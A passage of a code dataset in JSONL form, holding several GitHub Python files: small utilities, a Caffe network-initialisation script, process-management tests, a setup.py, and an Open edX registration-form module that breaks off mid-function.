source)\n\n# =====\n\n @staticmethod\n def get_hamming_weight(x:int):\n count = 0\n while x:\n x &= x - 1\n count += 1\n \n return count\n\n# -----\n\n def init_LUT(self):\n for i in range(256):\n count = 0\n if get_hamming_weight(i) <= 4: # majority low\n count = 1\n self._readLUT[i] = count\n\n#######\n","repo_name":"fablab-wue/ezPiC.Device.OLD","sub_path":"dev/plugins/gadgets/gdPulseCountUART.py","file_name":"gdPulseCountUART.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"26448645472","text":"from datetime import datetime\n\nclass EOT():\n\t#RETURNS the current time as a stardate with 8 decimal point precision.\n\t@staticmethod\n\tdef GetStardate():\n\t\tnow = datetime.utcnow()\n\t\tyear = now.year\n\t\tday_of_year = now.timetuple().tm_yday\n\t\thour = now.hour\n\t\tminute = now.minute\n\t\tsecond = now.microsecond / 1000000\n\n\t\tone_hour = 1 / 24 / 365\n\t\tone_minute = one_hour / 60\n\t\tone_second = one_minute / 60\n\n\t\texact_day = (day_of_year / 365)\n\t\texact_hour = hour * one_hour\n\t\texact_minute = minute * one_minute\n\t\texact_second = second * one_second\n\t\texact_decimal = exact_day + exact_hour + exact_minute + exact_second\n\t\tdecimal = float('%.12f' % (exact_decimal))\n\t\t# error = decimal * 365 - day_of_year - (hour / 24)\n\t\t# error_hours = error * 24\n\t\tstardate = format(year + decimal, '.10f')\n\n\t\t# print(\"stardate for\", year, day_of_year, hour)\n\t\t# print(\"error:\", error, \"in hours:\", error_hours)\n\t\treturn stardate\n\n\t#Called when executing this as a functor.\n\tdef __call__(this):\n\t\tprint(EOT.GetStardate())\n","repo_name":"eons-dev/eot.exe","sub_path":"src/EOT.py","file_name":"EOT.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31286034881","text":"import pytesseract\nfrom pytesseract import Output\nimport cv2\nfrom PIL import Image\nimg = cv2.imread('../../data/txt1.png')\n\n\nd = pytesseract.image_to_data(img, output_type=Output.DICT)\nprint(d)\nn_boxes = len(d['level'])\nfor i in range(n_boxes):\n if(d['conf'][i]!=\"-1\"):\n (x, y, w, h) = (d['left'][i], d['top'][i], d['width'][i], d['height'][i])\n cv2.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 2)\ncv2.imshow('img', img)\ncv2.waitKey(0)\n","repo_name":"CIS3296SoftwareDesignF21/prj-01-openhighlightcopypaste","sub_path":"tests/prototypes/boundWord.py","file_name":"boundWord.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"23007729353","text":"from __future__ import division\nfrom __future__ import print_function\nimport caffe\nimport numpy as np\n\nfrom pdb import set_trace\n\n# make a bilinear interpolation kernel\n# credit @longjon\ndef upsample_filt(size):\n factor = (size + 1) // 2\n if size % 2 == 1:\n center = factor - 1\n else:\n center = factor - 0.5\n og = np.ogrid[:size, :size]\n return (1 - abs(og[0] - center) / factor) * \\\n (1 - abs(og[1] - center) / factor)\n\n# set parameters s.t. deconvolutional layers compute bilinear interpolation\n# N.B. this is for deconvolution without groups\ndef interp_surgery(net, layers):\n for l in layers:\n m, k, h, w = net.params[l][0].data.shape\n if m != k:\n print( 'input + output channels need to be the same' )\n raise\n if h != w:\n print( 'filters need to be square' )\n raise\n filt = upsample_filt(h)\n net.params[l][0].data[range(m), range(k), :, :] = filt\n\n\n\n# init\ncaffe.set_mode_cpu()\n\nbase_model = 'VGG_ILSVRC_16_layers_deploy.prototxt'\nbase_weights = 'VGG_ILSVRC_16_layers.caffemodel'\nbase_net = caffe.Net(base_model, base_weights, caffe.TRAIN)\n\nvoc_model = 'fcn-voc-32s-train.prototxt'\nvoc_weights = 'fcn-voc-32s-train.caffemodel' # where result is going to go\nvoc_net = caffe.Net(voc_model, caffe.TEST)\n\n# Source and destination paramteres, these are the same because the layers\n# have the same names in base_net, voc_net\nsrc_params = ['fc6', 'fc7'] # ignore fc8 because it will be re initialized\ndest_params = ['fc6', 'fc7']\n\n# First: copy shared layers\nshared_layers = set(base_net.params.keys()) & set(voc_net.params.keys())\nshared_layers -= set(src_params + dest_params)\n\nfor layer in sorted(list(shared_layers)):\n print(\"Copying shared layer\",layer)\n voc_net.params[layer][0].data[...] = base_net.params[layer][0].data\n voc_net.params[layer][1].data[...] = base_net.params[layer][1].data\n\n# Second: copy over the fully connected layers\n# fc_params = {name: (weights, biases)}\nfc_params = {}\nfor pr in src_params:\n fc_params[pr] = (base_net.params[pr][0].data, base_net.params[pr][1].data)\n\n# conv_params = {name: (weights, biases)}\nconv_params = {}\nfor pr in dest_params:\n conv_params[pr] = (voc_net.params[pr][0].data, voc_net.params[pr][1].data)\n\nfor pr, pr_conv in zip(src_params, dest_params):\n print('(source) {} weights are {} dimensional and biases are {} dimensional'\\\n .format(pr, fc_params[pr][0].shape, fc_params[pr][1].shape))\n print('(destn.) {} weights are {} dimensional and biases are {} dimensional'\\\n .format(pr_conv, conv_params[pr_conv][0].shape, conv_params[pr_conv][1].shape))\n\n conv_params[pr_conv][0].flat = fc_params[pr][0].flat # flat unrolls the arrays\n conv_params[pr_conv][1][...] = fc_params[pr][1]\n\n\n# Third: inititalize upsampling\ninterp_layers = [k for k in voc_net.params.keys() if 'up' in k]\n# do net surgery to set the deconvolution weights for bilinear interpolation\ninterp_surgery(voc_net, interp_layers)\n\n#Finally: Save resulting network\nvoc_net.save(voc_weights)\n","repo_name":"BlGene/fcn-example","sub_path":"fcn-voc-32s-init.py","file_name":"fcn-voc-32s-init.py","file_ext":"py","file_size_in_byte":3070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29041030827","text":"import os\nimport signal\nimport time\nfrom configs import ReloadConfig, WithPingerConfig\nfrom balancer.test.util import process\n\n\ndef test_workers_kill_themselves_when_master_dies(ctx):\n \"\"\"\n BALANCER-1980\n Если мастер умер - весь балансер должен умирать вместе с ним, включая workerы.\n \"\"\"\n ctx.start_balancer(ReloadConfig(workers=5, response='aaa'))\n time.sleep(5)\n master = ctx.balancer.get_master_pid()\n workers = ctx.balancer.get_workers()\n os.kill(master, signal.SIGKILL)\n time.sleep(70)\n aliveWorkersCount = 0\n for pid in workers:\n try:\n os.kill(pid, 0)\n aliveWorkersCount += 1\n except:\n pass\n assert aliveWorkersCount == 0\n assert len(process.get_children(ctx.balancer.pid, ctx.logger, recursive=False)) == 0\n assert not ctx.balancer.is_alive()\n ctx.balancer.set_finished()\n\n\ndef test_pingers_kill_themselves_when_master_dies(ctx):\n ctx.start_balancer(WithPingerConfig(workers=1, response='aaa'), debug=True)\n time.sleep(2)\n master = ctx.balancer.get_master_pid()\n children = process.get_children(master, ctx.logger, recursive=False)\n os.kill(master, signal.SIGKILL)\n time.sleep(70)\n aliveWorkersCount = 0\n for pid in children:\n try:\n os.kill(pid, 0)\n aliveWorkersCount += 1\n except:\n pass\n assert aliveWorkersCount == 0\n assert len(process.get_children(ctx.balancer.pid, ctx.logger, recursive=False)) == 0\n assert not ctx.balancer.is_alive()\n ctx.balancer.set_finished()\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"balancer/test/functional/children_manager/test_children_manager.py","file_name":"test_children_manager.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9725787196","text":"from setuptools import setup\nimport httpimport\n\n# Taken from:\n# https://packaging.python.org/en/latest/tutorials/packaging-projects/\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetup(\n name='httpimport',\n version=httpimport.__version__,\n description='Module for remote in-memory Python package/module loading through HTTP',\n long_description=long_description,\n long_description_content_type='text/markdown',\n author=httpimport.__author__,\n author_email='john.torakis@gmail.com',\n license='Apache2',\n url=httpimport.__github__,\n py_modules=['httpimport'],\n classifiers=[\n 'Development Status :: 6 - Mature',\n 'License :: OSI Approved :: Apache Software License',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.9',\n 'Programming Language :: Python :: 3.11',\n 'Programming Language :: Python :: Implementation :: CPython',\n 'Programming Language :: Python :: Implementation :: PyPy',\n 'Intended Audience :: Developers',\n 'Intended Audience :: Information Technology',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n 'Topic :: Software Development :: Build Tools',\n 'Topic :: Software Development :: Testing',\n ],\n keywords=[\n 'import',\n 'loader',\n 'memory',\n 'http',\n 'network'],\n)\n","repo_name":"operatorequals/httpimport","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":279,"dataset":"github-code","pt":"3"} +{"seq_id":"29234135167","text":"import pytest\nfrom maps.infra.ecstatic.coordinator.bin.tests.fixtures.status_exceptions import ServerError\n\n\ndef test_db_wipe(mongo, coordinator):\n coordinator.http_get('/ping')\n\n torrent_hash = coordinator.upload('pkg-a', '1.0', 'gen-ab1', tvm_id=1)\n assert torrent_hash in coordinator.torrents(host='storage11', tvm_id=12345).all_torrents\n\n mongo.drop_database()\n\n with pytest.raises(ServerError):\n coordinator.torrents(host='')\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/db_wipe.py","file_name":"db_wipe.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12615602923","text":"\"\"\"\nObjects and utilities used to construct registration forms.\n\"\"\"\n\nimport copy\nfrom importlib import import_module\nimport re\n\nfrom django import forms\nfrom django.conf import settings\nfrom django.contrib.auth.models import User # lint-amnesty, pylint: disable=imported-auth-user\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.core.validators import RegexValidator, ValidationError, slug_re\nfrom django.forms import widgets\nfrom django.urls import reverse\nfrom django.utils.translation import gettext as _\nfrom django_countries import countries\n\nfrom common.djangoapps import third_party_auth\nfrom common.djangoapps.edxmako.shortcuts import marketing_link\nfrom openedx.core.djangoapps.site_configuration import helpers as configuration_helpers\nfrom openedx.core.djangoapps.user_api import accounts\nfrom openedx.core.djangoapps.user_api.helpers import FormDescription\nfrom openedx.core.djangoapps.user_authn.utils import check_pwned_password, is_registration_api_v1 as is_api_v1\nfrom openedx.core.djangolib.markup import HTML, Text\nfrom openedx.features.enterprise_support.api import enterprise_customer_for_request\nfrom common.djangoapps.student.models import (\n CourseEnrollmentAllowed,\n UserProfile,\n email_exists_or_retired,\n)\nfrom common.djangoapps.util.password_policy_validators import (\n password_validators_instruction_texts,\n password_validators_restrictions,\n validate_password,\n)\n\n\nclass TrueCheckbox(widgets.CheckboxInput):\n \"\"\"\n A checkbox widget that only accepts \"true\" (case-insensitive) as true.\n \"\"\"\n\n def value_from_datadict(self, data, files, name):\n value = data.get(name, '')\n return value.lower() == 'true'\n\n\nclass TrueField(forms.BooleanField):\n \"\"\"\n A boolean field that only accepts \"true\" (case-insensitive) as true\n \"\"\"\n widget = TrueCheckbox\n\n\ndef validate_username(username):\n \"\"\"\n Verifies a username is valid, raises a ValidationError otherwise.\n Args:\n username (unicode): The username to validate.\n\n This function is configurable with `ENABLE_UNICODE_USERNAME` feature.\n \"\"\"\n\n username_re = slug_re\n flags = None\n message = accounts.USERNAME_INVALID_CHARS_ASCII\n\n if settings.FEATURES.get(\"ENABLE_UNICODE_USERNAME\"):\n username_re = fr\"^{settings.USERNAME_REGEX_PARTIAL}$\"\n flags = re.UNICODE\n message = accounts.USERNAME_INVALID_CHARS_UNICODE\n\n validator = RegexValidator(\n regex=username_re,\n flags=flags,\n message=message,\n code='invalid',\n )\n\n validator(username)\n\n\ndef contains_html(value):\n \"\"\"\n Validator method to check whether name contains html tags\n \"\"\"\n regex = re.compile('(<|>)', re.UNICODE)\n return bool(regex.search(value))\n\n\ndef contains_url(value):\n \"\"\"\n Validator method to check whether full name contains url\n \"\"\"\n regex = re.findall(r'https?://(?:[-\\w.]|(?:%[\\da-fA-F]{2}))*', value)\n return bool(regex)\n\n\ndef validate_name(name):\n \"\"\"\n Verifies a Full_Name is valid, raises a ValidationError otherwise.\n Args:\n name (unicode): The name to validate.\n \"\"\"\n if contains_html(name):\n raise forms.ValidationError(_('Full Name cannot contain the following characters: < >'))\n if contains_url(name):\n raise forms.ValidationError(_('Enter a valid name'))\n\n\nclass UsernameField(forms.CharField):\n \"\"\"\n A CharField that validates usernames based on the `ENABLE_UNICODE_USERNAME` feature.\n \"\"\"\n\n default_validators = [validate_username]\n\n def __init__(self, *args, **kwargs): # lint-amnesty, pylint: disable=unused-argument\n super().__init__(\n min_length=accounts.USERNAME_MIN_LENGTH,\n max_length=accounts.USERNAME_MAX_LENGTH,\n error_messages={\n \"required\": accounts.USERNAME_BAD_LENGTH_MSG,\n \"min_length\": accounts.USERNAME_BAD_LENGTH_MSG,\n \"max_length\": accounts.USERNAME_BAD_LENGTH_MSG,\n }\n )\n\n def clean(self, value):\n \"\"\"\n Strips the spaces from the username.\n\n Similar to what `django.forms.SlugField` does.\n \"\"\"\n\n value = self.to_python(value).strip()\n return super().clean(value)\n\n\nclass AccountCreationForm(forms.Form):\n \"\"\"\n A form to for account creation data. It is currently only used for\n validation, not rendering.\n \"\"\"\n\n _EMAIL_INVALID_MSG = _(\"A properly formatted e-mail is required\")\n _NAME_TOO_SHORT_MSG = _(\"Your legal name must be a minimum of one character long\")\n\n # TODO: Resolve repetition\n\n username = UsernameField()\n\n email = forms.EmailField(\n max_length=accounts.EMAIL_MAX_LENGTH,\n min_length=accounts.EMAIL_MIN_LENGTH,\n error_messages={\n \"required\": _EMAIL_INVALID_MSG,\n \"invalid\": _EMAIL_INVALID_MSG,\n \"max_length\": _(\"Email cannot be more than %(limit_value)s characters long\"),\n }\n )\n\n password = forms.CharField()\n\n name = forms.CharField(\n min_length=accounts.NAME_MIN_LENGTH,\n error_messages={\n \"required\": _NAME_TOO_SHORT_MSG,\n \"min_length\": _NAME_TOO_SHORT_MSG,\n },\n validators=[validate_name]\n )\n\n def __init__(\n self,\n data=None,\n extra_fields=None,\n extended_profile_fields=None,\n do_third_party_auth=True,\n tos_required=True\n ):\n super().__init__(data)\n\n extra_fields = extra_fields or {}\n self.extended_profile_fields = extended_profile_fields or {}\n self.do_third_party_auth = do_third_party_auth\n if tos_required:\n self.fields[\"terms_of_service\"] = TrueField(\n error_messages={\"required\": _(\"You must accept the terms of service.\")}\n )\n\n error_message_dict = {\n \"level_of_education\": _(\"A level of education is required\"),\n \"gender\": _(\"Your gender is required\"),\n \"year_of_birth\": _(\"Your year of birth is required\"),\n \"mailing_address\": _(\"Your mailing address is required\"),\n \"goals\": _(\"A description of your goals is required\"),\n \"city\": _(\"A city is required\"),\n \"country\": _(\"A country is required\")\n }\n for field_name, field_value in extra_fields.items():\n if field_name not in self.fields:\n if field_name == \"honor_code\":\n if field_value == \"required\":\n self.fields[field_name] = TrueField(\n error_messages={\n \"required\": _(\"To enroll, you must follow the honor code.\")\n }\n )\n else:\n required = field_value == \"required\"\n min_length = 1\n error_message = error_message_dict.get(\n field_name,\n _(\"You are missing one or more required fields\")\n )\n self.fields[field_name] = forms.CharField(\n required=required,\n min_length=min_length,\n error_messages={\n \"required\": error_message,\n \"min_length\": error_message,\n }\n )\n\n for field in self.extended_profile_fields:\n if field not in self.fields:\n self.fields[field] = forms.CharField(required=False)\n\n def clean_password(self):\n \"\"\"Enforce password policies (if applicable)\"\"\"\n password = self.cleaned_data[\"password\"]\n if not self.do_third_party_auth:\n # Creating a temporary user object to test password against username\n # This user should NOT be saved\n username = self.cleaned_data.get('username')\n email = self.cleaned_data.get('email')\n temp_user = User(username=username, email=email) if username else None\n validate_password(password, temp_user)\n\n if settings.ENABLE_AUTHN_REGISTER_HIBP_POLICY:\n # Checks the Pwned Databases for password vulnerability.\n pwned_response = check_pwned_password(password)\n\n if (\n pwned_response.get('vulnerability', 'no') == 'yes' and\n pwned_response.get('frequency', 0) >= settings.HIBP_REGISTRATION_PASSWORD_FREQUENCY_THRESHOLD\n ):\n raise ValidationError(accounts.AUTHN_PASSWORD_COMPROMISED_MSG)\n return password\n\n def clean_email(self):\n \"\"\" Enforce email restrictions (if applicable) \"\"\"\n email = self.cleaned_data[\"email\"]\n if settings.REGISTRATION_EMAIL_PATTERNS_ALLOWED is not None:\n # This Open edX instance has restrictions on what email addresses are allowed.\n allowed_patterns = settings.REGISTRATION_EMAIL_PATTERNS_ALLOWED\n # We append a '$' to the regexs to prevent the common mistake of using a\n # pattern like '.*@edx\\\\.org' which would match 'bob@edx.org.badguy.com'\n if not any(re.match(pattern + \"$\", email) for pattern in allowed_patterns):\n # This email is not on the whitelist of allowed emails. Check if\n # they may have been manually invited by an instructor and if not,\n # reject the registration.\n if not CourseEnrollmentAllowed.objects.filter(email=email).exists():\n raise ValidationError(_(\"Unauthorized email address.\"))\n if email_exists_or_retired(email):\n raise ValidationError(\n _(\n \"It looks like {email} belongs to an existing account. Try again with a different email address.\"\n ).format(email=email)\n )\n return email\n\n def clean_year_of_birth(self):\n \"\"\"\n Parse year_of_birth to an integer, but just use None instead of raising\n an error if it is malformed\n \"\"\"\n try:\n year_str = self.cleaned_data[\"year_of_birth\"]\n return int(year_str) if year_str is not None else None\n except ValueError:\n return None\n\n @property\n def cleaned_extended_profile(self):\n \"\"\"\n Return a dictionary containing the extended_profile_fields and values\n \"\"\"\n return {\n key: value\n for key, value in self.cleaned_data.items()\n if key in self.extended_profile_fields and value is not None\n }\n\n\ndef get_registration_extension_form(*args, **kwargs):\n \"\"\"\n Convenience function for getting the custom form set in settings.REGISTRATION_EXTENSION_FORM.\n\n An example form app for this can be found at http://github.com/open-craft/custom-form-app\n \"\"\"\n if not getattr(settings, 'REGISTRATION_EXTENSION_FORM', None):\n return None\n module, klass = settings.REGISTRATION_EXTENSION_FORM.rsplit('.', 1)\n module = import_module(module)\n return getattr(module, klass)(*args, **kwargs)\n\n\nclass RegistrationFormFactory:\n \"\"\"\n Construct Registration forms and associated fields.\n \"\"\"\n\n DEFAULT_FIELDS = [\"email\", \"name\", \"username\", \"password\"]\n\n def _is_field_visible(self, field_name):\n \"\"\"Check whether a field is visible based on Django settings. \"\"\"\n return self._extra_fields_setting.get(field_name) in [\"required\", \"optional\", \"optional-exposed\"]\n\n def _is_field_required(self, field_name):\n \"\"\"Check whether a field is required based on Django settings. \"\"\"\n return self._extra_fields_setting.get(field_name) == \"required\"\n\n def _is_field_exposed(self, field_name):\n \"\"\"Check whether a field is optional and should be toggled. \"\"\"\n return self._extra_fields_setting.get(field_name) in [\"required\", \"optional-exposed\"]\n\n def __init__(self):\n\n self.EXTRA_FIELDS = [\n \"confirm_email\",\n \"first_name\",\n \"last_name\",\n \"city\",\n \"state\",\n \"country\",\n \"gender\",\n \"year_of_birth\",\n \"level_of_education\",\n \"company\",\n \"job_title\",\n \"title\",\n \"mailing_address\",\n \"goals\",\n \"honor_code\",\n \"terms_of_service\",\n \"profession\",\n \"specialty\",\n \"marketing_emails_opt_in\",\n ]\n\n if settings.ENABLE_COPPA_COMPLIANCE and 'year_of_birth' in self.EXTRA_FIELDS:\n self.EXTRA_FIELDS.remove('year_of_birth')\n\n # Backwards compatibility: Honor code is required by default, unless\n # explicitly set to \"optional\" in Django settings.\n self._extra_fields_setting = copy.deepcopy(configuration_helpers.get_value('REGISTRATION_EXTRA_FIELDS'))\n if not self._extra_fields_setting:\n self._extra_fields_setting = copy.deepcopy(settings.REGISTRATION_EXTRA_FIELDS)\n self._extra_fields_setting[\"honor_code\"] = self._extra_fields_setting.get(\"honor_code\", \"required\")\n\n if settings.MARKETING_EMAILS_OPT_IN:\n self._extra_fields_setting['marketing_emails_opt_in'] = 'optional'\n\n # Check that the setting is configured correctly\n for field_name in self.EXTRA_FIELDS:\n if self._extra_fields_setting.get(field_name, \"hidden\") not in [\"required\", \"optional\", \"hidden\"]:\n msg = \"Setting REGISTRATION_EXTRA_FIELDS values must be either required, optional, or hidden.\"\n raise ImproperlyConfigured(msg)\n\n # Map field names to the instance method used to add the field to the form\n self.field_handlers = {}\n valid_fields = self.DEFAULT_FIELDS + self.EXTRA_FIELDS\n for field_name in valid_fields:\n handler = getattr(self, f\"_add_{field_name}_field\")\n self.field_handlers[field_name] = handler\n\n custom_form = get_registration_extension_form()\n if custom_form:\n custom_form_field_names = [field_name for field_name, field in custom_form.fields.items()]\n valid_fields.extend(custom_form_field_names)\n\n field_order = configuration_helpers.get_value('REGISTRATION_FIELD_ORDER')\n if not field_order:\n field_order = settings.REGISTRATION_FIELD_ORDER or valid_fields\n # Check that all of the valid_fields are in the field order and vice versa,\n # if not append missing fields at end of field order\n if set(valid_fields) != set(field_order):\n difference = set(valid_fields).difference(set(field_order))\n # sort the additional fields so we have could have a deterministic result when presenting them\n field_order.extend(sorted(difference))\n\n self.field_order = field_order\n\n def get_registration_form(self, request):\n \"\"\"Return a description of the registration form.\n This decouples clients from the API definition:\n if the API decides to modify the form, clients won't need\n to be updated.\n This is especially important for the registration form,\n since different edx-platform installations might\n collect different demographic information.\n See `user_api.helpers.FormDescription` for examples\n of the JSON-encoded form description.\n Arguments:\n request (HttpRequest)\n Returns:\n HttpResponse\n \"\"\"\n form_desc = FormDescription(\"post\", self._get_registration_submit_url(request))\n self._apply_third_party_auth_overrides(request, form_desc)\n\n # Custom form fields can be added via the form set in settings.REGISTRATION_EXTENSION_FORM\n custom_form = get_registration_extension_form()\n if custom_form:\n custom_form_field_names = [field_name for field_name, field in custom_form.fields.items()]\n else:\n custom_form_field_names = []\n\n # Go through the fields in the fields order and add them if they are required or visible\n for field_name in self.field_order:\n if field_name in self.DEFAULT_FIELDS:\n self.field_handlers[field_name](form_desc, required=True)\n elif self._is_field_visible(field_name) and self.field_handlers.get(field_name):\n self.field_handlers[field_name](\n form_desc,\n required=self._is_field_required(field_name)\n )\n elif field_name in custom_form_field_names:\n for custom_field_name, field in custom_form.fields.items():\n if field_name == custom_field_name:\n restrictions = {}\n if getattr(field, 'max_length', None):\n restrictions['max_length'] = field.max_length\n if getattr(field, 'min_length', None):\n restrictions['min_length'] = field.min_length\n field_options = getattr(\n getattr(custom_form, 'Meta', None), 'serialization_options', {}\n ).get(field_name, {})\n field_type = field_options.get(\n 'field_type',\n FormDescription.FIELD_TYPE_MAP.get(field.__class__))\n if not field_type:\n raise ImproperlyConfigured(\n \"Field type '{}' not recognized for registration extension field '{}'.\".format(\n field_type,\n field_name\n )\n )\n if self._is_field_visible(field_name) or field.required:\n form_desc.add_field(\n field_name,\n label=field.label,\n default=field_options.get('default'),\n field_type=field_options.get(\n 'field_type',\n FormDescription.FIELD_TYPE_MAP.get(field.__class__)),\n placeholder=field.initial,\n instructions=field.help_text,\n exposed=self._is_field_exposed(field_name),\n required=(self._is_field_required(field_name) or field.required),\n restrictions=restrictions,\n options=getattr(field, 'choices', None), error_messages=field.error_messages,\n include_default_option=field_options.get('include_default_option'),\n )\n\n # remove confirm_email form v1 registration form\n if is_api_v1(request):\n for index, field in enumerate(form_desc.fields):\n if field['name'] == 'confirm_email':\n del form_desc.fields[index]\n break\n return form_desc\n\n def _get_registration_submit_url(self, request):\n return reverse(\"user_api_registration\") if is_api_v1(request) else reverse(\"user_api_registration_v2\")\n\n def _add_email_field(self, form_desc, required=True):\n \"\"\"Add an email field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to True\n \"\"\"\n # Translators: This label appears above a field on the registration form\n # meant to hold the user's email address.\n email_label = _(\"Email\")\n\n # Translators: These instructions appear on the registration form, immediately\n # below a field meant to hold the user's email address.\n email_instructions = _(\"This is what you will use to login.\")\n\n form_desc.add_field(\n \"email\",\n field_type=\"email\",\n label=email_label,\n instructions=email_instructions,\n restrictions={\n \"min_length\": accounts.EMAIL_MIN_LENGTH,\n \"max_length\": accounts.EMAIL_MAX_LENGTH,\n },\n required=required\n )\n\n def _add_confirm_email_field(self, form_desc, required=True):\n \"\"\"Add an email confirmation field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to True\n \"\"\"\n # Translators: This label appears above a field on the registration form\n # meant to confirm the user's email address.\n email_label = _(\"Confirm Email\")\n\n error_msg = accounts.REQUIRED_FIELD_CONFIRM_EMAIL_MSG\n\n form_desc.add_field(\n \"confirm_email\",\n field_type=\"email\",\n label=email_label,\n required=required,\n error_messages={\n \"required\": error_msg\n }\n )\n\n def _add_name_field(self, form_desc, required=True):\n \"\"\"Add a name field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to True\n \"\"\"\n # Translators: This label appears above a field on the registration form\n # meant to hold the user's full name.\n name_label = _(\"Full Name\")\n\n # Translators: These instructions appear on the registration form, immediately\n # below a field meant to hold the user's full name.\n name_instructions = _(\"This name will be used on any certificates that you earn.\")\n\n form_desc.add_field(\n \"name\",\n label=name_label,\n instructions=name_instructions,\n restrictions={\n \"max_length\": accounts.NAME_MAX_LENGTH,\n },\n required=required\n )\n\n def _add_username_field(self, form_desc, required=True):\n \"\"\"Add a username field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to True\n \"\"\"\n # Translators: This label appears above a field on the registration form\n # meant to hold the user's public username.\n username_label = _(\"Public Username\")\n\n username_instructions = _(\n # Translators: These instructions appear on the registration form, immediately\n # below a field meant to hold the user's public username.\n \"The name that will identify you in your courses. \"\n \"It cannot be changed later.\"\n )\n form_desc.add_field(\n \"username\",\n label=username_label,\n instructions=username_instructions,\n restrictions={\n \"min_length\": accounts.USERNAME_MIN_LENGTH,\n \"max_length\": accounts.USERNAME_MAX_LENGTH,\n },\n required=required\n )\n\n def _add_password_field(self, form_desc, required=True):\n \"\"\"Add a password field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to True\n \"\"\"\n # Translators: This label appears above a field on the registration form\n # meant to hold the user's password.\n password_label = _(\"Password\")\n\n form_desc.add_field(\n \"password\",\n label=password_label,\n field_type=\"password\",\n instructions=password_validators_instruction_texts(),\n restrictions=password_validators_restrictions(),\n required=required\n )\n\n def _add_level_of_education_field(self, form_desc, required=True):\n \"\"\"Add a level of education field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to True\n \"\"\"\n # Translators: This label appears above a dropdown menu on the registration\n # form used to select the user's highest completed level of education.\n education_level_label = _(\"Highest level of education completed\")\n error_msg = accounts.REQUIRED_FIELD_LEVEL_OF_EDUCATION_MSG\n\n # The labels are marked for translation in UserProfile model definition.\n # pylint: disable=translation-of-non-string\n\n options = [(name, _(label)) for name, label in UserProfile.LEVEL_OF_EDUCATION_CHOICES]\n if settings.ENABLE_COPPA_COMPLIANCE:\n options = filter(lambda op: op[0] != 'el', options)\n form_desc.add_field(\n \"level_of_education\",\n label=education_level_label,\n field_type=\"select\",\n options=options,\n include_default_option=True,\n required=required,\n error_messages={\n \"required\": error_msg\n }\n )\n\n def _add_gender_field(self, form_desc, required=True):\n \"\"\"Add a gender field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to True\n \"\"\"\n # Translators: This label appears above a dropdown menu on the registration\n # form used to select the user's gender.\n gender_label = _(\"Gender\")\n\n # The labels are marked for translation in UserProfile model definition.\n # pylint: disable=translation-of-non-string\n options = [(name, _(label)) for name, label in UserProfile.GENDER_CHOICES]\n form_desc.add_field(\n \"gender\",\n label=gender_label,\n field_type=\"select\",\n options=options,\n include_default_option=True,\n required=required\n )\n\n def _add_year_of_birth_field(self, form_desc, required=True):\n \"\"\"Add a year of birth field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to True\n \"\"\"\n # Translators: This label appears above a dropdown menu on the registration\n # form used to select the user's year of birth.\n yob_label = _(\"Year of birth\")\n\n options = [(str(year), str(year)) for year in UserProfile.VALID_YEARS]\n form_desc.add_field(\n \"year_of_birth\",\n label=yob_label,\n field_type=\"select\",\n options=options,\n include_default_option=True,\n required=required\n )\n\n def _add_marketing_emails_opt_in_field(self, form_desc, required=False):\n \"\"\"Add a marketing email checkbox to form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to False\n \"\"\"\n opt_in_label = _(\n 'I agree that {platform_name} may send me marketing messages.').format(\n platform_name=configuration_helpers.get_value('PLATFORM_NAME', settings.PLATFORM_NAME),\n )\n\n form_desc.add_field(\n 'marketing_emails_opt_in',\n label=opt_in_label,\n field_type=\"checkbox\",\n exposed=True,\n default=True, # the checkbox will automatically be checked; meaning user has opted in\n required=required,\n )\n\n def _add_field_with_configurable_select_options(self, field_name, field_label, form_desc, required=False):\n \"\"\"Add a field to a form description.\n If select options are given for this field, it will be a select type\n otherwise it will be a text type.\n\n Arguments:\n field_name: name of field\n field_label: label for the field\n form_desc: A form description\n\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to False\n\n \"\"\"\n\n extra_field_options = configuration_helpers.get_value('EXTRA_FIELD_OPTIONS')\n if extra_field_options is None or extra_field_options.get(field_name) is None:\n field_type = \"text\"\n include_default_option = False\n options = None\n error_msg = ''\n error_msg = getattr(accounts, f'REQUIRED_FIELD_{field_name.upper()}_TEXT_MSG')\n else:\n field_type = \"select\"\n include_default_option = True\n field_options = extra_field_options.get(field_name)\n options = [(str(option.lower()), option) for option in field_options]\n error_msg = ''\n error_msg = getattr(accounts, 